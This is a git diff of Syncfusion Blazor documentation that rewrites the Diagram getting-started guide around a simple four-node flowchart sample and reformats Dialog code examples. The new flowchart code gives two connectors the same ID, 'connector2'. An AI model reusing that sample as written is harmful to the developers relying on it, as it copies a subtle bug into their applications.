-        connectors.Style = new TextStyle() { StrokeColor = "#6495ED", StrokeWidth = 1 };
-        connectors.TargetDecorator = new DecoratorSettings
-        {
-            Shape = DecoratorShape.None,
-            Style = new ShapeStyle() { Fill = "#6495ED", StrokeColor = "#6495ED", }
-        };
     }
 
-    public class OrgChartDataModel
+    private void ConnectorCreating(IDiagramObject obj)
     {
-        public string Id { get; set; }
-        public string Team { get; set; }
-        public string Role { get; set; }
+        (obj as Connector).Type = ConnectorSegmentType.Orthogonal;
     }
-    public object DataSource = new List<object>()
-    {
-        new OrgChartDataModel() { Id= "1", Role= "General Manager" },
-        new OrgChartDataModel() { Id= "2", Role= "Human Resource Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "3", Role= "Design Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "4", Role= "Operation Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "5", Role= "Marketing Manager", Team= "1" }
-    };
 }
 
 {% endhighlight %}
 {% endtabs %}
 
+In this example:
+
+* [`OffsetX`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_OffsetX) and [`OffsetY`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_OffsetY) define the position of each node.
+* [`Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_Shape) defines the node shape configuration, and [`FlowShape.Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.NodeFlowShapes.html#fields) specifies flowchart shapes such as **Terminator**, **Process**, or **Decision**.
+* [`ShapeAnnotation`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.ShapeAnnotation.html) adds text inside each node using the [`Content`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Annotation.html#Syncfusion_Blazor_Diagram_Annotation_Content) property.
+* [`SourceID`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html#Syncfusion_Blazor_Diagram_Connector_SourceID) and [`TargetID`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html#Syncfusion_Blazor_Diagram_Connector_TargetID) connect one node to another.
+* [`NodeCreating`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.SfDiagramComponent.html#Syncfusion_Blazor_Diagram_SfDiagramComponent_NodeCreating) applies common width, height, fill color, and stroke color to all nodes.
+* [`ConnectorCreating`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.SfDiagramComponent.html#Syncfusion_Blazor_Diagram_SfDiagramComponent_ConnectorCreating) applies common connector settings, such as orthogonal routing.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVTDsrYqBZBcmEv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Organization Diagram ChildNode in Vertical Right](images/blazor-diagram-childnode-at-vertical-right.png)" %}
+## Run the application
 
-## See also
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application in Visual Studio. 
+* Run the application using `dotnet run` command in Command prompt.
+* This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the default web browser.
 
-1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
-2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-3. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
+The output will appear as follows:
 
+![Getting Started in Blazor Diagram](images/blazor-diagram-getting-started.webp)
\ No newline at end of file
diff --git a/blazor/diagram/getting-started.md b/blazor/diagram/getting-started.md
index 9620a048be..71a7ee06cf 100644
--- a/blazor/diagram/getting-started.md
+++ b/blazor/diagram/getting-started.md
@@ -23,7 +23,10 @@ This section explains the step-by-step process of integrating the [Syncfusion<su
 
 ## Create a new Blazor App in Visual Studio
 
-Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
+Create a **Blazor Server App** using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
+
+N> Configure the [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) is **Server** and Choose the appropriate [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a project.
+<br/> If you use the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio), a sample application can be generated automatically.
 
 {% endtabcontent %}
 
@@ -37,18 +40,8 @@ Create a **Blazor Server App** by using the **Blazor Web App** template in Visua
 
 Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
-
-{% tabs %}
-
-{% highlight c# tabtitle="Blazor Server App" %}
-
-dotnet new blazor -o BlazorApp -int Server
-cd BlazorApp
-
-{% endhighlight %}
-
-{% endtabs %}
+N> Configure the [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) is **Server** and Choose the appropriate [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a project.
+<br/> If you use the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio), a sample application can be generated automatically.
 
 {% endtabcontent %}
 
@@ -79,17 +72,23 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
+This command creates a new Blazor application and places it in a new directory called `BlazorApp` inside your current location.
+
+N> See the [Create a Blazor App](https://dotnet.microsoft.com/en-us/learn/aspnet/blazor-tutorial/create), [dotnet new CLI command](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?pivots=cli&view=aspnetcore-10.0) and [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode) topics for more details.
+
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution → Select the package -> Install*).
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Alternatively, run the following commands in the Package Manager Console(*Tools → NuGet Package Manager → Package Manager Console*) to achieve the same.
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -100,6 +99,30 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the C# package management(*Right click the ".csproj" file, -> C# package management -> Add nuget package -> Select nuget package and version*)
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the .NET CLI command.
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Diagram --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+{% endtabcontents %}
+
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
@@ -115,9 +138,9 @@ After the packages are installed, open the **~/_Imports.razor** file and import
 {% endhighlight %}
 {% endtabs %}
 
-## How to Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -125,6 +148,7 @@ Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in
 ....
 using Syncfusion.Blazor;
 ....
+var builder = WebApplication.CreateBuilder(args);
 builder.Services.AddSyncfusionBlazor();
 ....
 
@@ -136,23 +160,24 @@ builder.Services.AddSyncfusionBlazor();
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
 ```html
-
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
+<head>
+    ...
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+</head>
+<body>
+    ....
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
 ```
 
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
+## Configure Render Mode
 
-N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
+If your create application uses `Per page/component` interactivity, add this at the top of **Pages/Home.razor**:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveServer
@@ -160,6 +185,13 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% endhighlight %}
 {% endtabs %}
 
+N> If the render mode is set to **None**, the diagram will not render.
+<br/> If the `Interactivity Location` is set to **Global**, this step is not required.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component
+
+Add the DiagramComponent to create an empty diagram.
+
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
@@ -168,236 +200,116 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the default web browser.
-
-## Basic Blazor Diagram Elements
+## Create your first Diagram with nodes and connectors
 
-* Node: Visualize any graphical object using nodes, which can be arranged and manipulated at the same time on a Blazor diagram page.
-* Connector: Represents the relationship between two nodes. Three types of connectors provided as follows:
- 1) Orthogonal
- 2) Bezier
- 3) Straight
-* Port: Act as connection points on a node or connector and allow creating connections only at specific points.
-* Annotation: Additional information can be shown by adding text or labels on nodes and connectors.
+This section explains how to create a simple flowchart by adding nodes, customizing their appearance, and connecting them using connectors.
 
-## How to Create Blazor Flowchart Diagram
-
-Create and add a [Node](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html) with a specific position, size, label, and shape. Connect two or more nodes using a [Connector](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html).
+The following example creates a flowchart with four nodes: **Start**, **Process**, **Decision**, and **End**. It also applies common node and connector settings using the `NodeCreating` and `ConnectorCreating` properties.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfDiagramComponent @ref="@diagram" Connectors="@connectors" Height="700px" Nodes="@nodes" />
+<SfDiagramComponent Width="100%" Height="600px" Nodes="@nodes" Connectors="@connectors" NodeCreating="@NodeCreating" ConnectorCreating="@ConnectorCreating" />
 
-@code
-{
-    SfDiagramComponent diagram;
-    int connectorCount = 0;
-    //Defines Diagram's nodes collection.
+@code {
     DiagramObjectCollection<Node> nodes = new DiagramObjectCollection<Node>();
-    //Defines Diagram's connectors collection.
     DiagramObjectCollection<Connector> connectors = new DiagramObjectCollection<Connector>();
-
     protected override void OnInitialized()
     {
-        InitDiagramModel();
-    }
-
-    private void InitDiagramModel()
-    {
-        CreateNode("Start", 300, 50, NodeFlowShapes.Terminator, "Start");
-        CreateNode("Init", 300, 140, NodeFlowShapes.Process, "var i = 0");
-        CreateNode("Condition", 300, 230, NodeFlowShapes.Decision, "i < 10?");
-        CreateNode("Print", 300, 320, NodeFlowShapes.PreDefinedProcess, "print(\'Hello!!\');");
-        CreateNode("Increment", 300, 410, NodeFlowShapes.Process, "i++;");
-        CreateNode("End", 300, 500, NodeFlowShapes.Terminator, "End");
-        // Creates orthogonal connector.
-        OrthogonalSegment segment1 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Direction = Direction.Right,
-            Length = 30,
-        };
-        OrthogonalSegment segment2 = new OrthogonalSegment()
+        nodes = new DiagramObjectCollection<Node>()
         {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 300,
-            Direction = Direction.Bottom,
-        };
-        OrthogonalSegment segment3 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 30,
-            Direction = Direction.Left,
-        };
-        OrthogonalSegment segment4 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 200,
-            Direction = Direction.Top,
-        };
-        CreateConnector("Start", "Init");
-        CreateConnector("Init", "Condition");
-        CreateConnector("Condition", "Print");
-        CreateConnector("Condition", "End", "Yes", segment1, segment2);
-        CreateConnector("Print", "Increment", "No");
-        CreateConnector("Increment", "Condition", null, segment3, segment4);
-    }
-
-    // Method to create connector.
-    private void CreateConnector(string sourceId, string targetId, string label = default(string), OrthogonalSegment segment1 = null, OrthogonalSegment segment2 = null)
-    {
-        Connector diagramConnector = new Connector()
-        {
-            // Represents the unique id of the connector.
-            ID = string.Format("connector{0}", ++connectorCount),
-            SourceID = sourceId,
-            TargetID = targetId,
+            new Node()
+            {
+               ID = "node1", OffsetX = 300, OffsetY = 100,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Terminator },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Start" }
+               }
+            },
+            new Node()
+            {
+               ID = "node2", OffsetX = 300, OffsetY = 200,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Process },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Process" }
+               }
+            },
+            new Node()
+            { 
+               ID = "node3", OffsetX = 300, OffsetY = 300,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Decision },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Decision?" }
+               }
+            },
+            new Node()
+            {
+               ID = "node4", OffsetX = 300, OffsetY = 400,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Terminator },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "End" }
+               }
+            }
         };
-        if (label != default(string))
+        connectors = new DiagramObjectCollection<Connector>()
         {
-            // Represents the annotation of the connector.
-            PathAnnotation annotation = new PathAnnotation()
+            new Connector()
             {
-                Content = label,
-                Style = new TextStyle() { Fill = "white" }
-            };
-            diagramConnector.Annotations = new DiagramObjectCollection<PathAnnotation>() { annotation };
-        }
-        if (segment1 != null)
-        {
-            // Represents the segment type of the connector.
-            diagramConnector.Type = ConnectorSegmentType.Orthogonal;
-            diagramConnector.Segments = new DiagramObjectCollection<ConnectorSegment> { segment1, segment2 };
-        }
-        connectors.Add(diagramConnector);
-    }
-
-    // Method to create node.
-    private void CreateNode(string id, double x, double y, NodeFlowShapes shape, string label)
-    {
-        Node diagramNode = new Node()
-        {
-            //Represents the unique id of the node.
-            ID = id,
-            // Defines the position of the node.
-            OffsetX = x,
-            OffsetY = y,
-            // Defines the size of the node.
-            Width = 145,
-            Height = 60,
-            // Defines the style of the node.
-            Style = new ShapeStyle { Fill = "#357BD2", StrokeColor = "White" },
-            // Defines the shape of the node.
-            Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = shape },
-            // Defines the annotation collection of the node.
-            Annotations = new DiagramObjectCollection<ShapeAnnotation>
+                ID = "connector1",
+                SourceID = "node1",
+                TargetID = "node2",
+            },
+            new Connector()
             {
-                new ShapeAnnotation
-                {
-                    Content = label,
-                    Style = new TextStyle()
-                    {
-                        Color="White",
-                        Fill = "transparent"
-                    }
-                }
-            }
+                ID = "connector2",
+                SourceID = "node2",
+                TargetID = "node3",
+            },            
+            new Connector()
+            {
+                ID = "connector2",
+                SourceID = "node3",
+                TargetID = "node4",
+            },
         };
-        nodes.Add(diagramNode);
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLJZWLYqiuRApvY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Diagram Component](images/blazor-diagram-component.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DiagramComponent).
-
-## How to Create Organizational Chart
-
-A built-in automatic layout algorithm is designed specifically for organizational charts, automatically arranging parent and child node positions for optimal structure and clarity.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Inputs
-@using Syncfusion.Blazor.Diagram
-
-<SfDiagramComponent Height="600px" NodeCreating="@OnNodeCreating" ConnectorCreating="@OnConnectorCreating">
-    <DataSourceSettings ID="Id" ParentID="Team" DataSource="@DataSource"></DataSourceSettings>
-    <SnapSettings>
-        <HorizontalGridLines LineColor="white" LineDashArray="2,2">
-        </HorizontalGridLines>
-        <VerticalGridLines LineColor="white" LineDashArray="2,2">
-        </VerticalGridLines>
-    </SnapSettings>
-    <Layout Type="LayoutType.OrganizationalChart" @bind-HorizontalSpacing="@HorizontalSpacing" @bind-VerticalSpacing="@VerticalSpacing" GetLayoutInfo="GetLayoutInfo">
-    </Layout>
-</SfDiagramComponent>
-
-@code
-{
-    //Initializing layout.
-    int HorizontalSpacing = 40;
-    int VerticalSpacing = 50;
-
-    //To configure every subtree of the organizational chart.
-    private TreeInfo GetLayoutInfo(IDiagramObject obj, TreeInfo options)
-    {
-        options.AlignmentType = SubTreeAlignmentType.Right;
-        options.Orientation = Orientation.Vertical;
-        return options;
     }
 
-    //Creates node with some default values.
-    private void OnNodeCreating(IDiagramObject obj)
+    private void NodeCreating(IDiagramObject obj)
     {
         Node node = obj as Node;
+        node.Style = new ShapeStyle() { Fill = "#E8F4FF", StrokeColor = "#357BD2" };
+        node.Width = 140;
         node.Height = 50;
-        node.Width = 150;
-        node.Style = new ShapeStyle() { Fill = "#6495ED", StrokeWidth = 1, StrokeColor = "Black" };
-    }
-
-    //Creates connectors with some default values.
-    private void OnConnectorCreating(IDiagramObject connector)
-    {
-        Connector connectors = connector as Connector;
-        connectors.Type = ConnectorSegmentType.Orthogonal;
-        connectors.Style = new TextStyle() { StrokeColor = "#6495ED", StrokeWidth = 1 };
-        connectors.TargetDecorator = new DecoratorSettings
-        {
-            Shape = DecoratorShape.None,
-            Style = new ShapeStyle() { Fill = "#6495ED", StrokeColor = "#6495ED", }
-        };
     }
 
-    public class OrgChartDataModel
+    private void ConnectorCreating(IDiagramObject obj)
     {
-        public string Id { get; set; }
-        public string Team { get; set; }
-        public string Role { get; set; }
+        (obj as Connector).Type = ConnectorSegmentType.Orthogonal;
     }
-    public object DataSource = new List<object>()
-    {
-        new OrgChartDataModel() { Id= "1", Role= "General Manager" },
-        new OrgChartDataModel() { Id= "2", Role= "Human Resource Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "3", Role= "Design Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "4", Role= "Operation Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "5", Role= "Marketing Manager", Team= "1" }
-    };
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-You can download a complete working sample from [GitHub](https://github.com/SyncfusionExamples/Blazor-Diagram-Examples/tree/master/UG-Samples/Layout/OrganizationLayout2)
+In this example:
+
+* [`OffsetX`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_OffsetX) and [`OffsetY`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_OffsetY) define the position of each node.
+* [`Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_Shape) defines the node shape configuration, and [`FlowShape.Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.NodeFlowShapes.html#fields) specifies flowchart shapes such as **Terminator**, **Process**, or **Decision**.
+* [`ShapeAnnotation`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.ShapeAnnotation.html) adds text inside each node using the [`Content`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Annotation.html#Syncfusion_Blazor_Diagram_Annotation_Content) property.
+* [`SourceID`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html#Syncfusion_Blazor_Diagram_Connector_SourceID) and [`TargetID`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html#Syncfusion_Blazor_Diagram_Connector_TargetID) connect one node to another.
+* [`NodeCreating`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.SfDiagramComponent.html#Syncfusion_Blazor_Diagram_SfDiagramComponent_NodeCreating) applies common width, height, fill color, and stroke color to all nodes.
+* [`ConnectorCreating`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.SfDiagramComponent.html#Syncfusion_Blazor_Diagram_SfDiagramComponent_ConnectorCreating) applies common connector settings, such as orthogonal routing.
+
+## Run the application
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVTDsrYqBZBcmEv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Organization Diagram ChildNode in Vertical Right](images/blazor-diagram-childnode-at-vertical-right.png)" %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application in Visual Studio. 
+* Run the application using `dotnet run` command in Command prompt.
+* This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the default web browser.
 
-## See also
+The output will appear as follows:
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
+![Getting Started in Blazor Diagram](images/blazor-diagram-getting-started.webp)
\ No newline at end of file
diff --git a/blazor/diagram/images/blazor-diagram-getting-started.webp b/blazor/diagram/images/blazor-diagram-getting-started.webp
new file mode 100644
index 0000000000..e7190d28a5
Binary files /dev/null and b/blazor/diagram/images/blazor-diagram-getting-started.webp differ
diff --git a/blazor/dialog/getting-started-with-server-app.md b/blazor/dialog/getting-started-with-server-app.md
index dbe8012ba5..0900397141 100644
--- a/blazor/dialog/getting-started-with-server-app.md
+++ b/blazor/dialog/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Popups
+
 <SfDialog Width="250px">
     <DialogTemplates>
         <Content> This is a Dialog with content </Content>
@@ -194,7 +196,8 @@ html, body {
 
 - The [Destroyed](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.DialogEvents.html#Syncfusion_Blazor_Popups_DialogEvents_Destroyed) event triggers when the dialog component is removed from the DOM. These lifecycle events allow executing custom code at specific points in the component's existence.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 
@@ -214,7 +217,8 @@ html, body {
     }
 }
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 ## Prerender the Dialog
 
@@ -223,7 +227,8 @@ The [AllowPrerender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Pop
 * By default, AllowPrerender is set to false. In this mode, dialog DOM elements are completely removed from the DOM when the dialog is hidden, and recreated each time the dialog is shown. This approach saves memory but requires re-rendering on each display.
 * When AllowPrerender is set to true, the dialog elements remain in the DOM even when hidden, which improves performance for frequently accessed dialogs but uses more memory.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 @using Syncfusion.Blazor.Buttons
@@ -248,7 +253,8 @@ The [AllowPrerender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Pop
     }
 }
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BXVyNPspKoXXlIYf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
@@ -256,13 +262,15 @@ The [AllowPrerender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Pop
 
 The [Header](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.DialogTemplates.html#Syncfusion_Blazor_Popups_DialogTemplates_Header) property allows rendering a dialog with custom text header.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 
 <SfDialog Width="250px" Header="Dialog Header"></SfDialog>
 
-```
+{% endhighlight %}
+{% endtabs %}
 
